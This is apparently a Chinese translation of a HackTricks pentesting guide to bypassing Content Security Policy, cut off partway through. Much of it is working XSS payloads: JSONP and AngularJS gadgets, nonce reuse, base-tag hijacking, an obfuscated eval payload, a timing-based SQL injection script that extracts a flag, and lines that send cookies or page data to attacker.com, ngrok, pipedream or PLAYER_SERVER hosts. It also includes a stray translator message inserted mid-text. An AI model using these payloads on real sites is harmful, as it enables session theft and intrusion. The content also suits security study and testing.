内容安全策略 (CSP) Bypass
Reading time: 41 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 CSP
内容安全策略 (CSP) 被视为一种浏览器技术,主要旨在抵御诸如跨站脚本 (XSS) 等攻击。它通过定义并详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等元素。例如,策略可能允许从同一域(self)加载和执行资源,包括内联资源,以及通过诸如 eval
、setTimeout
或 setInterval
之类的函数执行字符串代码。
CSP 的实现通过 响应头 或在 HTML 页面中加入 meta 元素 来完成。遵循该策略后,浏览器会主动执行这些规定,并立即阻止任何被检测到的违规行为。
- 通过响应头实现:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- 通过 meta 标签实现:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
响应头
CSP 可以通过以下响应头来强制执行或监控:
Content-Security-Policy
: 强制执行 CSP;浏览器会阻止任何违规行为。Content-Security-Policy-Report-Only
: 用于监控;报告违规但不阻止。适合在预生产环境中进行测试。
定义资源
CSP 限制加载主动和被动内容的来源,控制诸如 inline JavaScript 的执行和 eval()
的使用等方面。示例策略如下:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
指令
- script-src: 允许 JavaScript 的特定来源,包括 URL、内联脚本,以及由事件处理器或 XSLT 样式表触发的脚本。
- default-src: 当缺少特定抓取指令时,为获取资源设置默认策略。
- child-src: 指定 web workers 和嵌入框架内容允许的资源。
- connect-src: 限制可以通过 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。
- frame-src: 限制用于框架的 URL。
- frame-ancestors: 指定哪些来源可以嵌入当前页面,适用于诸如 、
- img-src: 定义图像允许的来源。
- font-src: 指定通过
@font-face
加载字体的有效来源。 - manifest-src: 定义应用程序 manifest 文件的允许来源。
- media-src: 定义加载媒体对象的允许来源。
- object-src: 定义
- base-uri: 指定使用
元素加载时允许的 URL。 - form-action: 列出表单提交的有效端点。
- plugin-types: 限制页面可调用的 mime 类型。
- upgrade-insecure-requests: 指示浏览器将 HTTP URL 重写为 HTTPS。
- sandbox: 应用类似于
- report-to: 指定在策略被违反时报告将发送到的组。
- worker-src: 指定 Worker、SharedWorker 或 ServiceWorker 脚本的有效来源。
- prefetch-src: 指定将被获取或预获取的资源的有效来源。
- navigate-to: 限制文档可以通过任何方式导航到的 URL(a、form、window.location、window.open 等)。
Sources
*
: 允许所有 URL,除了使用data:
、blob:
、filesystem:
方案的。'self'
: 允许从相同域加载。'data'
: 允许通过 data 方案加载资源(例如 Base64 编码的图像)。'none'
: 阻止从任何来源加载。'unsafe-eval'
: 允许使用eval()
和类似方法,出于安全原因不推荐使用。'unsafe-hashes'
: 启用特定的内联事件处理器。'unsafe-inline'
: 允许使用内联资源,如内联<script>
或<style>
,出于安全原因不推荐使用。'nonce'
: 使用加密 nonce(一次性数字)对白名单内的特定内联脚本进行允许。- 如果你的 JS 执行受限,可以在页面内通过
doc.defaultView.top.document.querySelector("[nonce]")
获取已使用的 nonce,然后重用它来加载恶意脚本(如果使用了 strict-dynamic,任何被允许的来源都可以加载新的来源,因此此方法不必要),例如:
重用 nonce 加载脚本
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: 将具有特定 sha256 哈希的脚本列入白名单。'strict-dynamic'
: 允许从任何源加载脚本,只要它已被 nonce 或 hash 列入白名单。'host'
: 指定特定主机,例如example.com
。https:
: 限制为使用 HTTPS 的 URL。blob:
: 允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。filesystem:
: 允许从文件系统加载资源。'report-sample'
: 在违规报告中包含违规代码的示例(对调试有用)。'strict-origin'
: 类似于 'self',但确保来源的协议安全级别与文档匹配(只有安全来源可以从安全来源加载资源)。'strict-origin-when-cross-origin'
: 在进行同源请求时发送完整 URL,但在跨域请求时仅发送 origin。'unsafe-allow-redirects'
: 允许加载会立即重定向到另一个资源的资源。不建议使用,因为它削弱了安全性。
不安全的 CSP 规则
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
可用的 payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
这不起作用,更多信息请 check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
有效的 payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
如果你能以某种方式让一个被允许的 JS 代码在 DOM 中创建一个新的 script 标签(包含你的 JS 代码,因为是被允许的脚本创建的),那么新的 script 标签将被允许执行。
通配符 (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
有效的 payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
缺少 object-src 和 default-src
[!CAUTION] > 看起来这已不再有效
Content-Security-Policy: script-src 'self' ;
有效的 payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
文件上传 + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
如果你可以上传一个 JS 文件,你就可以绕过这个 CSP:
可用 payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, it's highly probable that the server is 验证上传的文件 and will only allow you to 上传特定类型的文件。
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server 根据扩展名选择文件的 MIME type and browsers like Chrome will 拒绝在应该是图片的文件中执行 Javascript 代码。 "Hopefully", 有时候会出错。比如,在一次 CTF 中我发现 Apache 不认识 .wave 扩展,因此它不会以 MIME type like audio/* 来服务该文件。
From here, if you find a XSS and a file upload, and you manage to find a 被误判的扩展名, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src
does not cover form actions.
Third Party Endpoints + ('unsafe-eval')
warning
对于下面的一些 payload,unsafe-eval
甚至都不需要。
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
加载易受攻击的 angular 版本并执行任意 JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads 使用 Angular + 一个包含返回 window
对象 的 库 (check out this post):
tip
该文章展示你可以从 cdn.cloudflare.com
(或任何其他允许的 JS libraries repo)加载所有库,执行每个库中添加的所有函数,并检查 哪些库的哪些函数返回 window
对象。
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS 来源于类名:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Abusing google recaptcha JS code
根据 this CTF writeup 你可以在 CSP 内滥用 https://www.google.com/recaptcha/ 来执行任意 JS 代码,从而绕过 CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
更多 payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
滥用 www.google.com 实现 open redirect
下列 URL 会重定向到 example.com(来源于 here):
https://www.google.com/amp/s/example.com/
滥用 *.google.com/script.google.com
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。正如这篇报告中所示。
第三方端点 + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
像这种情况下,script-src
被设置为 self
,并且某个被列入白名单的特定域名存在,可以使用 JSONP 绕过。JSONP 端点允许不安全的回调方法,使攻击者能够执行 XSS。可用的 payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee 包含可用于不同网站 CSP bypass 的现成 JSONP endpoints。
If the initial endpoint is trusted, redirects are trusted.
如果 trusted endpoint 包含 Open Redirect,同样的漏洞也会发生,因为一旦初始 endpoint 被信任,redirects 也会被信任。
第三方滥用
如 following post 所述,存在许多第三方域名可能在某处被包含在 CSP 中,可以被滥用来 exfiltrate 数据或执行 JavaScript 代码。以下是其中一些第三方:
实体 | 允许的域名 | 能力 |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
如果您在目标的 CSP 中发现了任何上述允许域名,很可能可以通过在该第三方服务上注册来 bypass CSP,并将数据 exfiltrate 到该服务,或执行代码。
例如,如果您发现以下 CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
或
Content-Security-Policy: connect-src www.facebook.com;
你应该能够 exfiltrate data,类似于以前使用 Google Analytics/Google Tag Manager 所做的。在本例中,按照以下一般步骤:
- 在此创建一个 Facebook Developer 帐户。
- 创建一个新的 "Facebook Login" 应用并选择 "Website"。
- 转到 "Settings -> Basic" 并获取你的 "App ID"。
- 在你想要从中 exfiltrate data 的目标站点上,可以直接使用 Facebook SDK 小工具 "fbq",通过触发一个 "customEvent" 并携带数据负载来 exfiltrate data。
- 进入你的 App 的 "Event Manager" 并选择你创建的应用(注意 event manager 可能位于类似于此 URL: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。
- 选择 "Test Events" 选项卡以查看由 "your" web site 发送的事件。
然后,在受害者端,你执行以下代码来初始化 Facebook tracking pixel,使其指向攻击者的 Facebook developer account app-id 并发出如下 custom event:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
至于前面表中列出的另外七个第三方域名,你还可以用许多其他方式滥用它们。有关其他第三方滥用的更多说明,请参考之前的 blog post。
通过 RPO (Relative Path Overwrite)
除了前面提到的通过重定向绕过路径限制的方法之外,还有另一种在某些服务器上可用的技术,称为 Relative Path Overwrite (RPO)。
例如,如果 CSP 允许路径 https://example.com/scripts/react/
,则可以按如下方式绕过:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
浏览器最终会加载 https://example.com/scripts/angular/angular.js
。
之所以会这样,是因为对于浏览器来说,你正在从 https://example.com/scripts/react/
下加载名为 ..%2fangular%2fangular.js
的文件,这符合 CSP。
因此,浏览器会对其进行解码,实际请求 https://example.com/scripts/react/../angular/angular.js
,这等同于 https://example.com/scripts/angular/angular.js
。
通过利用浏览器与服务器在 URL 解释上的不一致,可以绕过路径规则。
解决方法是在服务器端不要将 %2f
当作 /
来处理,确保浏览器与服务器之间的解释一致以避免该问题。
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS 执行
缺少 base-uri
如果缺少 base-uri 指令,你可以滥用它来执行 dangling markup injection。
此外,如果页面正在使用相对路径加载脚本(例如 <script src="/js/app.js">
)并使用 Nonce,你可以滥用 base tag 使其从你的服务器加载该脚本,从而实现 XSS。
如果易受攻击的页面是通过 httpS 加载的,请在 base 中使用一个 httpS url。
<base href="https://www.attacker.com/" />
AngularJS 事件
一种称为 Content Security Policy (CSP) 的策略可能会限制 JavaScript 事件。然而,AngularJS 提供了自定义事件作为替代。在事件中,AngularJS 提供了一个特殊对象 $event
,它引用了原生浏览器的事件对象。这个 $event
对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,$event/event
对象具有一个 path
属性,该属性包含一个对象数组,表示事件的执行链,而 window
对象总是位于数组的末端。这个结构对于 sandbox escape 策略至关重要。
通过将该数组传递给 orderBy
过滤器,可以迭代它,并利用最后的元素(即 window
对象)触发全局函数,比如 alert()
。下面的代码片段演示了这个过程:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
该片段展示了如何使用 ng-focus
指令来触发事件,使用 $event.path|orderBy
操作 path
数组,并利用 window
对象执行 alert()
函数,从而暴露 document.cookie
。
查找其他 Angular bypasses 在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS 和 whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
在 Angular JS 应用中,为脚本加载白名单域的 CSP 策略可以通过调用 callback functions 和某些 vulnerable classes 被绕过。更多关于该技术的信息,请参见该 git repository 上的详细指南。
有效的 payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
其他 JSONP 任意执行端点可以在 here 找到(其中一些已被删除或修复)
通过重定向绕过
当 CSP 遇到服务端重定向时会怎样?如果重定向指向一个未被允许的不同源,它仍然会失败。
然而,根据 CSP spec 4.2.2.3. Paths and Redirects 的描述,如果重定向指向不同的路径,它可以绕过原有的限制。
下面是一个示例:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
如果 CSP 被设置为 https://www.google.com/a/b/c/d
,因为路径会被考虑,/test
和 /a/test
的脚本都会被 CSP 阻止。
然而,最终的 http://localhost:5555/301
会被在服务器端重定向到 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
。由于这是重定向,路径不会被考虑,并且脚本可以被加载,从而绕过了路径限制。
通过这种重定向,即使路径被完整指定,仍然可以被绕过。
因此,最佳的解决方案是确保网站不存在任何 open redirect 漏洞,并且 CSP 规则中没有可被利用的域名。
Bypass CSP with dangling markup
阅读 how here。
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
表示你可以在代码内部执行任意脚本(XSS 可以执行代码),而 img-src *
表示网页可以使用来自任意资源的图片。
你可以绕过这个 CSP 通过 exfiltrating the data via images(在此场景中,XSS 滥用一个 CSRF:bot 可访问的页面包含一个 SQLi,并通过图片提取 flag):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
来源: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
你也可以滥用该配置来加载插入在图片中的 javascript 代码。例如,如果页面允许从 Twitter 加载图片,你可以制作一张特殊图片、上传到 Twitter 并滥用**"unsafe-inline"来执行JS 代码(作为常规 XSS),该代码会加载该图片**,提取其中的JS并执行****它: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
With Service Workers
Service Workers 的 importScripts
函数不受 CSP 限制:
策略注入
研究: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
如果你发送的参数被粘贴进该策略的声明中,那么你可以以某种方式修改该策略使其失效。你可以通过下面任意这些绕过来允许脚本 'unsafe-inline':
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
因为这个指令会覆盖现有的 script-src 指令。
你可以在这里找到一个例子: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
在 Edge 中要简单得多。如果你能在 CSP 中添加这个:;_
,Edge 会丢弃整个策略。
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - 时间攻击
注意缺少指令 'unsafe-inline'
这次你可以通过 XSS 使用 <iframe
让受害者加载一个由你控制的页面。 这次你将让受害者访问你想从中提取信息的页面(CSRF)。 你无法访问该页面的内容,但如果以某种方式你能控制页面加载所需的时间,就可以提取所需的信息。
这次将要提取一个flag,每当通过 SQLi 正确猜出一个字符 时,响应 由于 sleep 函数会花费更多时间。然后,你将能够提取该 flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
通过 Bookmarklets
此攻击通常涉及一些社交工程,攻击者会说服用户将一个链接拖放到浏览器的 bookmarklet 上。该 bookmarklet 会包含恶意 javascript代码,当被 drag&dropped 或点击时会在当前 web 窗口的上下文中执行,绕过 CSP 并允许窃取敏感信息,例如 cookies 或 tokens。
更多信息请 查看原始报告。
通过限制 CSP 绕过 CSP
在 this CTF writeup 中,CSP 被绕过的方法是向一个被允许的 iframe 注入更严格的 CSP,该 CSP 禁止加载某个特定的 JS 文件,随后通过 prototype pollution 或 dom clobbering,允许 滥用另一个脚本来加载任意脚本。
你可以使用 csp
属性 限制 Iframe 的 CSP:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
在 this CTF writeup,通过 HTML injection 可以对 CSP 施加更严格的限制,从而禁用了用于阻止 CSTI 的脚本,因此该 vulnerability 因而可被利用。
CSP 可以通过使用 HTML meta tags 变得更严格,内联脚本也可以通过移除允许其 nonce 的 条目 来禁用,或通过 enable specific inline script via sha 来启用特定的内联脚本:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
使用 Content-Security-Policy-Report-Only 的 JS exfiltration
如果你能让服务器返回头部 Content-Security-Policy-Report-Only
,且该头部的 值由你控制(可能因为 CRLF),你就可以让它指向你的服务器;如果你 用 <script>
包裹你想要 exfiltrate 的 JS content,并且由于 unsafe-inline
很可能不被 CSP 允许,这将 触发 CSP 错误,脚本的一部分(包含敏感信息)将通过 Content-Security-Policy-Report-Only
发送到该服务器。
例如,查看此 CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking 信息与 CSP 和 iframe
- 一个
iframe
被创建,指向一个由 CSP 允许的 URL(称为https://example.redirect.com
)。 - 该 URL 随后重定向到一个秘密 URL(例如
https://usersecret.example2.com
),该 URL 被 CSP 禁止。 - 通过监听
securitypolicyviolation
事件,可以捕获blockedURI
属性。该属性会暴露被阻止的 URI 的域名,从而 leaking 最初 URL 重定向到的秘密域名。
值得注意的是,像 Chrome 和 Firefox 这样的浏览器在处理与 CSP 相关的 iframe 时行为不同,这种未定义行为可能导致敏感信息的 leakage。
另一种技术是利用 CSP 本身来推断秘密子域。该方法依赖于 binary search 算法,并通过调整 CSP 来包含被故意阻止的特定域。例如,如果秘密子域由未知字符组成,你可以通过修改 CSP 指令来阻止或允许这些子域,从而迭代地测试不同的子域。下面是一个片段,展示如何设置 CSP 以便实现该方法:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
通过监控哪些请求被 CSP 阻止或允许,可以缩小秘密子域中可能字符的范围,最终发现完整的 URL。
这两种方法利用了浏览器中 CSP 实现和行为的细微差异,表明看似安全的策略可能会无意中 leak 敏感信息。
Trick from here.
Unsafe Technologies to Bypass CSP
PHP Errors when too many params
According to the last technique commented in this video, 发送过多参数(1001 GET parameters,当然也可以用 POST params 或超过 20 个文件)会触发错误。任何在 PHP web 代码中定义的 header()
都 won't be sent,因为该错误会触发。
PHP response buffer overload
PHP is known for buffering the response to 4096 bytes by default. 因此,如果 PHP 显示 warning,通过在 warnings 中提供 足够的数据,response 会在 CSP header 之前被 sent,导致该 header 被忽略。
然后,该技术基本上是通过 用 warnings 填满响应缓冲区,使 CSP header 不被发送。
Idea from this writeup.
Kill CSP via max_input_vars (headers already sent)
Because headers must be sent before any output,PHP 发出的 warnings 会使后续的 header()
调用失效。如果用户输入超过 max_input_vars
,PHP 会先抛出一个 startup warning;任何随后执行的 header('Content-Security-Policy: ...')
都会以 “headers already sent” 失败,从而有效地禁用 CSP,允许原本被阻止的 reflective XSS。
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
请提供要翻译的 README.md 内容,我会按要求将相关英文翻译成中文并保留原有的 markdown/HTML 语法与链接。
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
重写错误页面
From this writeup 看起来可以通过加载一个错误页面(可能没有 CSP)并重写其内容来绕过 CSP 保护。
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME 是一种利用 XSS(或高度受限的 XSS)在页面的一个 endpoint 中来滥用同一源的其他 endpoints 的技术。攻击者通过从 attacker page 加载 vulnerable endpoint,然后将 attacker page 刷新到你想滥用的 same origin 中的 real endpoint 来实现这一点。这样,vulnerable endpoint 可以在 payload 中使用 opener
对象来 访问 real endpoint 的 DOM 以进行滥用。更多信息请参见:
SOME - Same Origin Method Execution
此外,wordpress 在 /wp-json/wp/v2/users/1?_jsonp=data
有一个 JSONP endpoint,会在输出中 reflect 所发送的 data(限制为仅字母、数字和点)。
攻击者可以滥用该 endpoint 来针对 WordPress generate a SOME attack,并将其 embed 在 <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
中。请注意该 script 会被 loaded,因为它被 allowed by 'self'。此外,既然 WordPress 已安装,攻击者可能会通过 vulnerable callback endpoint 滥用 SOME attack 从而 bypass the CSP,以提升某个用户的权限、安装新插件等...
关于如何执行此攻击的更多信息,请查看 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
如果存在严格的 CSP 不允许你 interact with external servers,仍然有一些方法可以用来 exfiltrate 信息。
Location
你可以直接更新 location,将秘密信息发送到 attacker's server:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
你可以通过注入 meta tag 进行重定向(这只是重定向,不会 leak 内容)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
为了更快加载页面,浏览器会预解析主机名为 IP 地址并将其缓存以便后用.
你可以指示浏览器预解析主机名: <link rel="dns-prefetch" href="something.com">
你可以滥用此行为来 exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
另一种方法:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
